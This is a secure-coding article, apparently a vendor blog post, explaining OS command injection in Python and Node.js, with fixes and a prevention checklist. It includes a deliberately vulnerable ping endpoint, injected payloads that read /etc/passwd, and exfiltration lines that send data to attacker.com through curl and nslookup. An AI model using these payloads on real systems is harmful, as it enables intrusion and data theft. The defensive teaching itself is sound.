What Command Injection Is

Command injection (OS command injection) occurs when user-supplied input is passed to a system shell command without proper sanitisation, allowing an attacker to append additional shell commands that the server executes. The attacker isn't exploiting a memory vulnerability or a zero-day β€” they're abusing the shell's command parsing to make the server run commands of their choosing.

This appears wherever an application shells out to run external programs: image processing (ImageMagick, ffmpeg), network utilities (ping, nslookup), file conversion tools, security scanners, CI/CD build steps, anything that calls subprocess, exec(), or system() with user-controlled values.

OWASP A03:2021: Injection is third on the OWASP Top 10. Command injection is the most severe sub-type β€” it typically results in full server compromise with no further exploitation needed.

How It Works β€” The Classic Example

A web app lets users ping a host to check connectivity. The backend runs the OS ping command with the user-provided hostname:

ping_check.py (vulnerable) Python
import subprocess
from flask import request

# Vulnerable β€” user input goes directly into shell command string
@app.post("/ping")
def ping():
    host = request.json.get("host")
    result = subprocess.run(
        f"ping -c 1 {host}",
        shell=True,
        capture_output=True, text=True
    )
    return result.stdout

A legitimate user sends {"host": "8.8.8.8"}. An attacker sends {"host": "8.8.8.8; cat /etc/passwd"}. The shell processes both commands: ping runs, then cat /etc/passwd runs, and the output comes back in the response.

We've seen this in image processors: Applications that call ImageMagick or ffmpeg with filenames from user uploads are a classic source of command injection. The ImageMagick vulnerabilities ("ImageTragick") were a real-world example of this β€” crafted image filenames executing arbitrary commands.

Blind Command Injection (Time-based)

Often the application doesn't return command output β€” but the vulnerability is still exploitable. Time-based detection uses the sleep command: if injecting ; sleep 10 causes a 10-second delay in the response, command injection is confirmed.

blind_injection_payloads.txt Text
# Time-based detection β€” 10 second delay confirms injection
8.8.8.8; sleep 10
8.8.8.8 && sleep 10
8.8.8.8 | sleep 10
`sleep 10`
$(sleep 10)

# Out-of-band exfiltration
8.8.8.8; curl http://attacker.com/$(whoami)
8.8.8.8; nslookup $(cat /etc/passwd | base64).attacker.com

Chaining Commands

The shell provides multiple operators for command chaining, each with different execution conditions:

  • ; β€” run both commands regardless of exit code
  • && β€” run second command only if first succeeds
  • || β€” run second command only if first fails
  • | β€” pipe output of first to second
  • `cmd` or $(cmd) β€” command substitution, output inserted inline
  • & β€” run in background

Simple blacklisting of ; doesn't help β€” attackers use the other operators. Input validation by allowlist (only allow alphanumeric + dots for an IP address) is much more robust, but the real fix is avoiding the shell entirely.

Why shell=True in Python Is Dangerous

When you pass shell=True to subprocess.run(), Python passes the command to the OS shell (/bin/sh -c). The shell then parses it β€” which means shell metacharacters like ;, &&, $() are interpreted as commands, not data.

subprocess_comparison.py Python
import subprocess

# WRONG β€” shell=True with user input is command injection
subprocess.run(f"convert {user_filename} output.png", shell=True)

# RIGHT β€” pass as a list, no shell involved
subprocess.run(
    ["convert", user_filename, "output.png"],
    shell=False,  # default, but explicit is better
    check=True
)

# Even better β€” validate filename before passing to subprocess
import re
if not re.match(r'^[\w\-\.]+$', user_filename):
    raise ValueError("Invalid filename")
subprocess.run(["convert", user_filename, "output.png"], check=True)

When you pass a list, Python passes each element as a separate argument directly to the process β€” no shell parsing, no metacharacter interpretation. The attacker's ; cat /etc/passwd becomes a literal argument to the program, which doesn't know what to do with it and typically fails harmlessly.

Safe Subprocess Usage Patterns

safe_patterns.py Python
import subprocess, shlex

# Pattern 1: List form β€” preferred
result = subprocess.run(
    ["ffmpeg", "-i", input_path, "-codec:v", "copy", output_path],
    capture_output=True, text=True, timeout=30
)

# Pattern 2: If you must use shell=True (try not to),
# use shlex.quote to escape individual arguments
safe_arg = shlex.quote(user_input)
subprocess.run(f"some_cmd {safe_arg}", shell=True)

# Pattern 3: For network-related features, use Python libraries
# instead of shelling out to ping/nslookup/curl
import socket
socket.gethostbyname(hostname)  # DNS lookup without shell

Prefer native libraries: For most tasks that developers shell out for β€” network probes, file operations, image processing β€” there are Python/Node/Java libraries that do the same thing without spawning a shell. This removes the attack surface entirely rather than hardening it.

Node.js exec vs execFile

subprocess_node.js JavaScript
const { exec, execFile } = require('child_process');

// WRONG β€” exec spawns a shell, user input interpreted as commands
exec(`ping -c 1 ${userHost}`, (err, stdout) => { ... });

// RIGHT β€” execFile spawns the program directly, no shell
execFile('ping', ['-c', '1', userHost], (err, stdout) => { ... });

// Also right β€” spawn with no shell
const { spawn } = require('child_process');
const proc = spawn('ping', ['-c', '1', userHost], { shell: false });

In Node.js: exec() and execSync() pass the command to a shell. execFile() and spawn() with shell: false do not. Always use the latter when user input is involved.

Detection with SAST

Command injection is one of SAST's strongest detection categories. The pattern is explicit: user-controlled data flows into subprocess.run(..., shell=True), os.system(), exec(), popen(), or equivalent. SAST tools trace taint from HTTP inputs to shell execution sinks and flag any path where the data isn't fully allowlisted or separated from the command structure.

Prevention Checklist

  1. Never use shell=True with user input β€” use list form subprocess calls instead
  2. Use native libraries β€” prefer Python's socket, requests, Pillow over shelling out
  3. If shell is unavoidable, use shlex.quote() β€” to escape arguments before interpolation
  4. Validate inputs by allowlist β€” IP addresses should match [0-9.]+; filenames should be alphanumeric
  5. Run app processes with minimal OS privileges β€” a compromised process with limited permissions does less damage
  6. Use execFile/spawn in Node.js β€” not exec/execSync when user input is involved
  7. Run SAST in CI β€” detect dangerous subprocess patterns before they ship

Detect Command Injection Before It Ships

AquilaX SAST traces tainted input to shell execution sinks across your entire codebase β€” catching command injection in every pull request.

Start Free Scan